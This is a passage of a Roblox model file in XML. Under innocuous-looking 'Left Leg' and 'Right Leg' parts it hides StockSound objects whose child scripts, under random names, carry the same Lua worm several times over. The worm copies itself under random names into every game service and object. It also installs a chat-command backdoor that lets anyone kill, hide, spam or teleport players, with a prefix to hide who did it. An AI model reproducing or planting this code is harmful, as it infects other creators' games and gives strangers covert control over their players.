if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX682">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">119</int>
							<CoordinateFrame name="CFrame">
								<X>-175.5</X>
								<Y>8.69999981</Y>
								<Z>-7.5</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>-0</R02>
								<R10>-0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>-0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">true</bool>
							<token name="Material">256</token>
							<string name="Name">Left Leg</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX683">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">3ugg3rfs0</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX684">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">kuy1zr</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX685">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">119</int>
							<CoordinateFrame name="CFrame">
								<X>-176.5</X>
								<Y>8.69999981</Y>
								<Z>-7.5</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>-0</R02>
								<R10>-0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>-0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">true</bool>
							<token name="Material">256</token>
							<string name="Name">Right Leg</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX686">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">n4bs</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX687">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">pd87tmq</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
